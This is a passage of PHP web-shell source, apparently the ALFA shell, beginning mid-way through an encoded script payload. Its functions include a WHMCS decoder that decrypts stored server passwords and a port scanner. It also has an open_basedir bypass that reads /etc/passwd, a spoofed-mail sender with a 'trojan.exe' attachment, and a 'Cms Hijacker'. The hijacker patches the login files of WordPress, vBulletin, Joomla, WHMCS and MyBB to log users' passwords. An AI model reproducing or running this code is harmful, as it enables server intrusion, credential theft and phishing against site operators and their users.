sKVMfjy1fj0/Oa08AwLqtyiqDGuMkZKvBnzIgrU6KXCg0xFOZ/OMYbi+NBq/VTW2e0oQ5DJhK79bLzxLNURWVvMGsWZRXl0t491QIbeW1eLr6H3VTHEjqnWotDDng+hoby9Je4Nb77GlU+EM8D0grGYVCsB7WTSssMYJ99DhGoCd4/Y1AgtOwJxoL8TdT67aV2S/uW8o3gli5te47fup9G8PTkNaDVxX/2Jj47e1MbCI3k77siYZXVs2doA67G5iNftZHmG6IVxJMvKNdxlUMuYrO6zAR+fre54uFtAK6+hRabAAK0zBkl0dpJXNDjsfuhxOrCu3JB4YSp0Tr6T6dW65wKdLq7QGcBM28adIJYYLIs5wn0IVKLgkDSJTTcaNdlwCOClIyTryB972UpYTki/3HX9enbNfS2bBjrfD6KoP3NR8gS7G8kWFyoiHfzgp5QUmuJ3qMkhlrC+gFHOz3xXDt+QSegqEUW/IA/2mxqOxKowwX9VRjOFKMEs8IzAcX2LD2eTC4nkzcO8nFnC7lYy20jjZa1KQR6tRKxBY9YTV6YG0hlOf4xje7LoJn5RJbkJ8hDt0m5YU9bzZ7L+2bU1DWDQZ5OMEudphc6z3GGTw/Npbr0YCz1UVSfNBPJ6wTMl/Ni+UUhe5XaiG2qjBj9UII3wfNlAUGKUxF/WtAEZrygtYlBIjMR4PDHTQuttG7RPjpCQIK7Wr2F3XjUO4TVGwqEQEHZK9gwtth9ksnSuhXiiJA2k5vt4a7jBGjj4NCPc6dAA3a0KKOBDvEDx52HEOCrWnsIbm8IDT/D727xqyxb4S2QtTYbWNBGuKwlqkHEbTjcYkNIHiIo8gcDbPfZ1wvwTgLcYfaCAMiNEHQDz9gdqy6cV4gwOhlPTrdk9W5xjVMvEVDOhPZgwoQNu26Pkn99N6T7+MF1KpxEQoNeonoB1BYrSVVg0wIeZRXHoixR+GaI66d/GpFL909qeAkIY5w3PUM4dY7q5XCbAR60XSnrJXfffc2u2z0sxPPB59i2ZkZNejYpPioOFOA8cp0OXg1a+am5oDaV4FV3GMKIxibFF9ZUYtaCpL8DySTcg0q+WNwGKbTuJ3fPh+5pAXdBr15xe8Ft8OyAcQ2MrGZhpUQZs0KEQuEb4ZcPV1DdBfQGCHcbu9vtzvZY/zFqvqOmBJMXKhWmgoDWBnPo/c8frylhMfp1AUHfvfsg+Mu52zGI2zGo3/waHpwSrwXdX35xGfY7ey8ge/QYH0rATxTi2rCJKdmX4v3ZgJuT79+vxluhyyVdfqXgoTBr/32RU+oVACu0ijOJbQsCGWuVSJPD8D03gmx0BYkOH99AMOtoApEL7uwZk5nUj1DX8WZbnX7QOfQ/HBUmxza4y8xDSbgbu38mGf+P2AOSd0wOL2cJq7B1mg44s+wPJ4TfVROcnHVXMPiYwBmEjt0+H9APzcPJLbZ70bpINbznCXO9BvckhzEfOe5NPtSzqVma3dbmw7eVjFFMcdh9aaHa6oRrlYT5bX64fvfjwjnItcOb8d0QMYC7dxDebmvFfdf5d7Ytif303E+4Oh28ln+xiL5AxD6X4FNut2jtMm7kdi6c/LB94iqKz8jgv11NVZo=")),\'<string>\',\'exec\'))';
if($_POST['alfa1']=='perl'){$code = $perl;}else{$code = $py;}
if(__write_file($name,$code)){
@chmod($name,0755);
echo '<iframe src="'.__ALFA_DATA_FOLDER__.'/cgialfa/'.$name.'" width="100%" height="600px" frameborder="0" style="opacity:0.9;filter: alpha(opacity=9);overflow:auto;"></iframe>';
}
}
echo $div;
alfafooter();
}
function alfaWhmcs(){
alfahead();
echo '<div class=header>';
function decrypt($string,$cc_encryption_hash){
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash($key);
$hash_length = strlen ($hash_key);
$string = __ZGVjb2Rlcg($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash($string)
{
if(function_exists('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| WHMCS DeCoder |</div><p>".getConfigHtml('whmcs')."</p><form onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type='hidden' name='form_action' value='2'>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'cc_encryption_hash : ', 'inputName' => 'cc_encryption_hash', 'id' => 'cc_encryption_hash', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo "<p><input type='submit' value=' ' name='Submit'></p></form></center>";
if($_POST['alfa5']!=''){
$db_host=($_POST['alfa7']);
$db_username=($_POST['alfa3']);
$db_password=($_POST['alfa4']);
$db_name=($_POST['alfa5']);
$cc_encryption_hash=($_POST['alfa6']);
echo __pre();
$conn=@mysqli_connect($db_host,$db_username,$db_password,$db_name) or die(mysqli_error($conn));
$query = mysqli_query($conn,"SELECT * FROM tblservers");
$num = mysqli_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num-1; $i++){
$v = @mysqli_fetch_array($query);
$ipaddress = $v['ipaddress'];
$username = $v['username'];
$type = $v['type'];
$active = $v['active'];
$hostname = $v['hostname'];
echo("<center><table border='1'>");
$password = decrypt ($v['password'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = @mysqli_query($conn,"SELECT * FROM tblregistrars");
$num1 = @mysqli_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysqli_fetch_array($query1);
$registrar = $v['registrar'];
$setting = $v['setting'];
$value = decrypt($v['value'], $cc_encryption_hash);
if ($value==""){
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border='1'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}else{__alert('<font color="red">tblservers is Empty...!</font>');};
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Port Scaner |</div></p>
<form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<div class="txtfont">Host: </div> <input id="text" type="text" name="host" value="localhost"/>
<div class="txtfont">Port start: </div> <input id="text" size="5" type="text" name="start" value="80"/>
<div class="txtfont">Port end: </div> <input id="text" size="5" type="text" name="end" value="80"/> <input type="submit" value=" " />
</form></center><br>';
$start = strip_tags($_POST['alfa2']);
$end = strip_tags($_POST['alfa3']);
$host = strip_tags($_POST['alfa4']);
if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
echo __pre();
$packetContent = "GET / HTTP/1.1\r\n\r\n";
if(ctype_xdigit($packetContent))$packetContent = @pack("H*" , $packetContent);
else{
$packetContent = str_replace(array("\r","\n"), "", $packetContent);
$packetContent = str_replace(array("\\r","\\n"), array("\r", "\n"), $packetContent);
}
for($i = $start; $i<=$end; $i++){
$sock = @fsockopen($host, $i, $errno, $errstr, 3);
if($sock){
stream_set_timeout($sock, 5);
fwrite($sock, $packetContent."\r\n\r\n\x00");
$counter = 0;
$maxtry = 1;
$bin = "";
do{
$line = fgets($sock, 1024);
if(trim($line)=="")$counter++;
$bin .= $line;
}while($counter<$maxtry);
fclose($sock);
echo "<center><p>Port <font style='color:#DE3E3E'>$i</font> is open</p>";
echo "<p><textarea style='height:140px;width:50%;'>".$bin."</textarea></p></center>";
}
flush();
}
}
echo '</div>';
alfafooter();
}
function alfacgihtaccess($m,$d='', $symname=false){
$readme = "";
if($symname){$readme="\nReadmeName ".trim($symname);}
if($m=='cgi'){
$code = "#Coded By Sole Sad & Invisible\nOptions FollowSymLinks MultiViews Indexes ExecCGI\nAddType application/x-httpd-cgi .alfa\nAddHandler cgi-script .alfa";
}elseif($m=='sym'){
$code = "#Coded By Sole Sad & Invisible\nOptions Indexes FollowSymLinks\nDirectoryIndex solevisible.phtm\nAddType text/plain php html php4 phtml\nAddHandler text/plain php html php4 phtml{$readme}\nOptions all";
}elseif($m=='shtml'){
$code = "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml";
}
@__write_file($d . ".htaccess", $code);
}
function alfabasedir(){
alfahead();
echo '<div class=header>
<center><p><div class="txtfont_header">| Open Base Dir |</div></p></center>';
$passwd = _alfa_file('/etc/passwd');
if(is_array($passwd)){
$users = array();
$makepwd = alfaMakePwd();
$basedir = @ini_get('open_basedir');
$safe_mode = @ini_get('safe_mode');
if(_alfa_can_runCommand(true,false)&&($basedir||$safe_mode)){
$bash = "fZBPSwMxEMXPzacYx9jugkvY9lbpTQ9eFU9NWdYk2wYkWZKsgmu+u9NaS8E/cwgDL/N+M+/yQjxbJ+KO3d4/rHjNusGpZL2DmEITTP/SKlOUIwOqNVTvgLxG2MB0CsGkITioz7X5P9riN60hzhHTvLYn5IoXfbAudYBXUUqHX9wPiEZDZQCj4OM807PIYovlwevHxPiHe0aWmVE7f7BaS4Ws8wEsWAe8UEOCSi+h6moQJinRtzG+6fIGtGeTp8c7Cqo4i4dAFB7xxiGakPdgSxtN6OxA/X7gePk3UtIPiddMe2dOe8wQN7NP";
$tmp_path = alfaWriteTocgiapi("basedir.alfa",$bash);
$bash_users = alfaEx("cd ".$tmp_path."/alfacgiapi;sh basedir.alfa ".$makepwd,false,true,true);
$users = json_decode($bash_users, true);
$x=count($users);
if($x>=2){array_pop($users);--$x;}
}
if(!$basedir&&!$safe_mode){
$x=0;
foreach($passwd as $str){
$pos = strpos($str,':');
$username = substr($str,0,$pos);
$dirz = str_replace("{user}", $username, $makepwd);
if(($username != '')){
if (@is_readable($dirz)){
array_push($users,$username);
$x++;
}}}
}
echo '<br><br>';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($passwd)." entrys in /etc/passwd\n"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".$x." readable ".str_replace("{user}", "*", $makepwd)." directories\n"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
foreach($users as $user){
if(empty($user))continue;
$path = str_replace("{user}", $user, $makepwd);
echo "<form method=post onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
}
}else{echo('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>');}
echo '<br><br></b>';
echo '</div>';
alfafooter();
}
function alfamail(){
alfahead();
echo '<div class=header>';
AlfaNum(8,9,10);
echo '<center><p><div class="txtfont_header">| Fake Mail |</div></p><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,\'>>\',this.mail_content.value,this.count_mail.value,this.mail_attach.value); return false;">';
$table = array(
'td1' => array('color' => 'FFFFFF', 'tdName' => 'Mail To : ', 'inputName' => 'mail_to', 'inputValue' => 'target@fbi.gov', 'inputSize' => '60','placeholder' => true),
'td2' => array('color' => 'FFFFFF', 'tdName' => 'From : ', 'inputName' => 'mail_from', 'inputValue' => 'sec@google.com', 'inputSize' => '60', 'placeholder' => true),
'td3' => array('color' => 'FFFFFF', 'tdName' => 'Subject : ', 'inputName' => 'mail_subject', 'inputValue' => 'your site hacked by me', 'inputSize' => '60'),
'td4' => array('color' => 'FFFFFF', 'tdName' => 'Attach File : ', 'inputName' => 'mail_attach', 'inputValue' => $GLOBALS['cwd'].'trojan.exe', 'inputSize' => '60'),
'td5' => array('color' => 'FFFFFF', 'tdName' => 'Count Mail : ', 'inputName' => 'count_mail', 'inputValue' => '1', 'inputSize' => '60')
);
create_table($table);
echo '<p><div class="txtfont">Message:</div></p><textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea><p><input type="submit" value=" " name="mail_send" /></p></form></center>';
if(isset($_POST['alfa4'])&&($_POST['alfa4'] == '>>')){
$mail_to = $_POST['alfa1'];
$mail_from = $_POST['alfa2'];
$mail_subject = $_POST['alfa3'];
$mail_content = $_POST['alfa5'];
$count_mail = (int)$_POST['alfa6'];
$mail_attach = $_POST['alfa7'];
if(filter_var($mail_to, FILTER_VALIDATE_EMAIL)){
if(!empty($mail_attach)&&@is_file($mail_attach)){
$file = $mail_attach;
$content = __read_file($file);
$content = chunk_split(__ZW5jb2Rlcg($content));
$uid = md5(uniqid(time()));
$filename = basename($file);
$headers = "From: ".$mail_from." <".$mail_from.">\r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= "Reply-To: ".$mail_from."\r\n";
$headers .= "Content-Type: multipart/mixed; boundary=\"".$uid."\"\r\n\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
$mail_content = "--".$uid."\r\n";
$mail_content .= "Content-type:text/plain; charset=iso-8859-1\r\n";
$mail_content .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
$mail_content .= $mail_content."\r\n\r\n";
$mail_content .= "--".$uid."\r\n";
$mail_content .= "Content-Type: application/octet-stream; name=\"".$filename."\"\r\n";
$mail_content .= "Content-Transfer-Encoding: base64\r\n";
$mail_content .= "Content-Disposition: attachment; filename=\"".$filename."\"\r\n\r\n";
$mail_content .= $content."\r\n\r\n";
$mail_content .= "--".$uid."--";
}else{
$headers = "From: " . $mail_from. " ( ".$mail_from." ) \r\n";
$headers .= "To: " . $mail_to. " ( ".$mail_to." ) \r\n";
$headers .= 'Reply-To: '.$mail_from.'' . "\r\n";
$headers .= 'Content-type: text/html; charset=utf-8' . "\r\n";
$headers .= 'MIME-Version: 1.0' . "\r\n";
$headers .= 'X-Mailer: php' . "\r\n";
}
if(empty($count_mail)||$count_mail<1)$count_mail=1;
if(!empty($mail_from)){echo __pre();
for($i=1;$i<=$count_mail;$i++){
if(@mail($mail_to,$mail_subject,$mail_content,$headers))echo("<center>Sent -> $mail_to<br></center>");
}}else{__alert("Invalid Mail From !");}
}else{__alert("Invalid Mail To !");}
}
echo('</div>');
alfafooter();
}
function alfaziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| Compressor |</div></p>
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">Dir/File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Save Dir: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'alfa.zip" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell Compress-Archive -Path '".addslashes($dirzip)."' -DestinationPath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("cd '".addslashes(dirname($zipfile))."';zip -r '".addslashes(basename($zipfile))."' '".addslashes($dirzip)."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif(class_exists('ZipArchive')){
if(__alfaziper($dirzip, $zipfile)){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function __alfaziper($source,$destination){
if(!extension_loaded('zip')||!file_exists($source)){
return false;
}
$zip=new ZipArchive();
if(!$zip->open($destination,ZIPARCHIVE::CREATE)){
return false;
}
$source=str_replace('\\','/',realpath($source));
if(is_dir($source)===true){
$files=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source),RecursiveIteratorIterator::SELF_FIRST);
foreach($files as $file){
$file=str_replace('\\','/',$file);
if(in_array(substr($file,strrpos($file,'/')+1),array('.','..')))continue;
$file=realpath($file);
if(is_dir($file)===true){
$zip->addEmptyDir(str_replace($source.'/','',$file.'/'));
}else if(is_file($file)===true){
$zip->addFromString(str_replace($source.'/','',$file),file_get_contents($file));
}
}
}else if(is_file($source)===true){
$zip->addFromString(basename($source),file_get_contents($source));
}
return $zip->close();
}
function alfadeziper(){
alfahead();
AlfaNum(8,9,10);
echo '<div class=header><p><center><p><div class="txtfont_header">| DeCompressor |</div></p>
<form onSubmit="g(\'deziper\',null,null,null,this.dirzip.value,this.zipfile.value,\'>>\');return false;" method="post">
<div class="txtfont">File: </div> <input type="text" name="dirzip" value="'.(!empty($_POST['alfa3'])?htmlspecialchars($_POST['alfa3']):htmlspecialchars($GLOBALS['cwd'])).'" size="60"/>
<div class="txtfont">Extract To: </div> <input type="text" name="zipfile" value="'.$GLOBALS['cwd'].'" size="60"/>
<input type="submit" value=" " name="ziper" />
</form></center></p>';
if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>')){
$dirzip = $_POST['alfa3'];
$zipfile = $_POST['alfa4'];
if(@!is_dir($zipfile)){
@mkdir($zipfile, 0777, true);
}
$finfo = "";
$file_type = "";
if(function_exists('finfo_open')){
$finfo = @finfo_open(FILEINFO_MIME_TYPE);
$file_type = @finfo_file($finfo, $dirzip);
@finfo_close($finfo);
}else{
if($GLOBALS['sys']=='unix'&&_alfa_can_runCommand(true,true)){
$file_type = alfaEx('file -b --mime-type ' . $dirzip);
}
}
if($GLOBALS['sys']!='unix'&&_alfa_can_runCommand(true,true)){
alfaEx("powershell expand-archive -path '".addslashes($dirzip)."' -destinationpath '".addslashes(basename($zipfile))."'");
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font></b></p></center>';
}elseif($GLOBALS['sys']=='unix'&&!empty($file_type)&&_alfa_can_runCommand(true,true)&&(strlen(alfaEx('which unzip')) > 0||strlen(alfaEx('which tar')) > 0||strlen(alfaEx('which gunzip')) > 0)){
switch ($file_type) {
case 'application/zip':
alfaEx("cd '".addslashes($zipfile)."';unzip '".addslashes($dirzip)."'");
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")||strstr(basename($dirzip), ".tar")){
alfaEx("cd '".addslashes($zipfile)."';tar xzf '".addslashes($dirzip)."'");
}else{
alfaEx("cd '".addslashes($zipfile)."';gunzip '".addslashes($dirzip)."'");
}
break;
}
echo __pre().'<center><p>Done -> <b><font color="green">'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></b></p></center>';
}elseif(class_exists('ZipArchive')){
$itsok = false;
if(emtpy($file_type)){
$file_type = "application/zip";
}
switch ($file_type) {
case 'application/zip':
$zip = new ZipArchive;
$res = $zip->open($dirzip);
if ($res) {
$zip->extractTo($zipfile);
$zip->close();
$itsok = true;
}
break;
case 'application/x-tar': case 'application/x-gzip': case 'application/x-gtar':
if(strstr(basename($dirzip), ".tar.gz")){
$new_file = $zipfile .'/'. basename($dirzip);
@copy($dirzip, $new_file);
$new_tar = str_replace(".tar.gz", ".tar", $new_file);
try {
$p = new PharData($new_file);
$p->decompress();
$phar = new PharData($new_tar);
$phar->extractTo($zipfile);
@unlink($new_file);
@unlink($new_tar);
$itsok = true;
} catch (Exception $e) {
}
}else{
try {
$phar = new PharData($dirzip);
$phar->extractTo($zipfile);
$itsok = true;
} catch (Exception $e) {
}
}
break;
}
if($itsok){
echo __pre().'<center><p><font color="green">Success...!<br>'.$zipfile.'</font> <a style="cursor:pointer;" onclick="g(\'FilesMan\',\''.$zipfile.'\');">[ View Folder ]</a></p></center>';
}else{echo __pre().'<center><p><font color="red">ERROR!!!...</font></p></center>';}
}
}
echo '</div>';
alfafooter();
}
function alfacmshijacker(){
alfahead();
AlfaNum(5,6,7,8,9,10);
echo '<div class=header><br>
<center><div class="txtfont_header">| Cms Hijacker |</div><br><br><form onSubmit="g(\'cmshijacker\',null,this.cmshi.value,this.saveto.value,\'>>\',this.cmspath.value);return false;" method=\'post\'>
<div class="txtfont">CMS: <select style="width:100px;" name="cmshi">';
$cm_array = array("vb"=>"vBulletin","wp"=>"wordpress","jom"=>"joomla","whmcs"=>"whmcs","mybb"=>"mybb","ipb"=>"ipboard","phpbb"=>"phpbb");
foreach($cm_array as $key=>$val)echo '<option value="'.$key.'">'.$val.'</option>';
echo("</select>");
echo ' Path installed cms: <input size="50" type="text" name="cmspath" placeholder="ex: /home/user/public_html/vbulletin/">
SaveTo: <input size="50" type="text" name="saveto" value="'.$GLOBALS['cwd'].'alfa.txt"></font>
<input type="submit" name="btn" value=" "></form></center><br>';
$cms = $_POST['alfa1'];
$saveto = $_POST['alfa2'];
$cmspath = $_POST['alfa4'];
if(!empty($cms) AND !empty($saveto) AND $_POST['alfa4'] AND $_POST['alfa3'] == '>>'){
echo __pre();
alfaHijackCms($cms,$cmspath,$saveto);
}
echo '</div>';
alfafooter();
}
function alfaHijackCms($cms,$cmspath,$saveto){
switch($cms){
case "vb":
hijackvBulletin($cmspath,$saveto);
break;
case "wp":
hijackwp($cmspath,$saveto);
break;
case "jom":
hijackJoomla($cmspath,$saveto);
break;
case "whmcs":
hijackWhmcs($cmspath,$saveto);
break;
case "mybb":
hijackMybb($cmspath,$saveto);
break;
case "ipb":
hijackIPB($cmspath,$saveto);
break;
case "phpbb":
hijackPHPBB($cmspath,$saveto);
break;
default:
echo "error!";
break;
}
}
function hijackvBulletin($path,$saveto){
$code='$alfa_username = strtolower($vbulletin->GPC["vb_login_username"]);$alfa_password = $vbulletin->GPC["vb_login_password"];$alfa_file = "{saveto_path}";$sql_query = $vbulletin->db->query_read("SELECT * FROM " . TABLE_PREFIX . "user WHERE `username`=\'" . $alfa_username . "\'");while($row = $vbulletin->db->fetch_array($sql_query)){if(strlen($alfa_password) > 1 AND strlen($alfa_username) > 1){$fp1 = @fopen($alfa_file, "a+");@fwrite($fp1, $alfa_username . \' : \' . $alfa_password." (" . $row["email"] . ")\n");@fclose($fp1); $f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}}';
$clearpw = 'defined(\'DISABLE_PASSWORD_CLEARING\')';
$code=str_replace('{saveto_path}',$saveto,$code);
$login = $path."/login.php";
$class = $path."/includes/class_bootstrap.php";
$dologin = 'do_login_redirect();';
$evil_login = "\t".$code."\n\t".$dologin;
$evil_class = "true";
if((@is_file($login) AND @is_writable($login)) || (@is_file($class) AND @is_writable($class))){
$data_login = @file_get_contents($login);
$data_class = @file_get_contents($class);
if(strstr($data_login, $dologin) || strstr($data_class, $clearpw)){
$login_replace = str_replace($dologin,$evil_login, $data_login);
$class_replace = str_replace($clearpw,$evil_class, $data_class);
@file_put_contents($login, $login_replace);
@file_put_contents($class, $class_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackwp($path,$saveto){
$code = '$alfa_file="{saveto_path}";$fp = fopen($alfa_file, "a+");fwrite($fp, $_POST[\'log\']." : ".$_POST[\'pwd\']." (".($user->user_email).")\n");fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);';
$redirect_wp = '#if[ ]{0,}\([ ]{0,}![ ]{0,}is_wp_error\([ ]{0,}\$user[ ]{0,}\)[ ]{0,}&&[ ]{0,}![ ]{0,}\$reauth[ ]{0,}\)[ ]{0,}{#';
$code=str_replace('{saveto_path}',$saveto,$code);
$login=$path."/wp-login.php";
if(@is_file($login) AND @is_writable($login)){
$data_login = @file_get_contents($login);
if(@preg_match($redirect_wp, $data_login, $match)){
$evil_login = "\t".$match[0]."\n\t".$code;
$login_replace = @preg_replace($redirect_wp,$evil_login, $data_login);
@file_put_contents($login, $login_replace);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}else{
hijackOutput(1);
}
}
function hijackJoomla($path,$saveto){
$code = '<?php jimport(\'joomla.user.authentication\');$Alfa_auth = & JAuthentication::getInstance();$Alfa_data = array(\'username\'=>$_POST[\'username\'],\'password\'=>$_POST[\'passwd\']);$Alfa_options = array();$Alfa_response = $Alfa_auth->authenticate($Alfa_data, $Alfa_options);if($Alfa_response->status == 1){$alfa_file="{saveto_path}";$fp=@fopen($alfa_file,"a+");@fwrite($fp, $Alfa_response->username.":".$_POST[\'passwd\']." ( ".$Alfa_response->email." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fputs($fp, $values);}@fclose($fp);}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$comp=$path."/administrator/components/com_login/";
if(@is_file($comp."/login.php")){
$login = $comp."/login.php";
}elseif(@is_file($comp."/admin.login.php")){
$login = $comp."/admin.login.php";
}else{
$login = '';
}
if(@is_file($login) AND @is_writable($login) AND $login != ''){
$data_login = @file_get_contents($login);
$evil_login = $code."\n".$data_login;
@file_put_contents($login, $evil_login);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackWhmcs($path,$saveto){
$code = '<?php if(isset($_POST[\'username\']) AND isset($_POST[\'password\']) AND !empty($_POST[\'username\']) AND !empty($_POST[\'password\'])){if($alfa_connect=@mysqli_connect($db_host,$db_username,$db_password,$db_name)){$alfa_file = "{saveto_path}";$alfa_uname = @$_POST[\'username\'];$alfa_pw = @$_POST[\'password\'];if(isset($_POST[\'language\'])){$alfa_q = "SELECT * FROM tbladmins WHERE `username` = \'$alfa_uname\' AND `password` = \'".md5($alfa_pw)."\'";$admin = true;}else{$alfa_q = "SELECT * FROM tblclients WHERE `email` = \'$alfa_uname\'";$admin = false;}$alfa_query = mysqli_query($alfa_connect, $alfa_q);if(mysqli_num_rows($alfa_query) > 0 ){$row = mysqli_fetch_array($alfa_query);$allow = true;if(!$admin){$__salt = explode(\':\', $row[\'password\']);$__encPW = md5($__salt[1].$_POST[\'password\']).\':\'.$__salt[1];if($row[\'password\'] == $__encPW){$allow = true;$row[\'username\'] = $row[\'email\'];}else{$allow = false;}}if($allow){$fp = @fopen($alfa_file, "a+");@fwrite($fp, $row[\'username\'] . \' : \' . $alfa_pw." (" . $row["email"] . ") : ".($admin ? \'is_admin\' : \'is_user\')."\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);}}}}?>';
$code=str_replace('{saveto_path}',$saveto,$code);
$conf=$path."/configuration.php";
if(@is_file($conf) AND @is_writable($conf)){
$data_conf = @file_get_contents($conf);
if(!strstr($data_conf,'?>'))$code = '?>'.$code;
$evil_conf = $data_conf."\n".$code;
@file_put_contents($conf, $evil_conf);
hijackOutput(0,$saveto);
}else{
hijackOutput(1);
}
}
function hijackMybb($path,$saveto){
$code = '$alfa_q = $db->query("SELECT `email` FROM ".TABLE_PREFIX."users WHERE `username` = \'".$user[\'username\']."\'");$alfa_fetch = $db->fetch_array($alfa_q);$alfa_file = "{saveto_path}";$fp = @fopen($alfa_file, "a+");@fwrite($fp, $user[\'username\']." : ". $user[\'password\']." ( ".$alfa_fetch[\'email\']." )\n");@fclose($fp);$f = @file($alfa_file);$new = array_unique($f);$fp = @fopen($alfa_file, "w");foreach($new as $values){@fwrite($fp, $values);}@fclose($fp);';
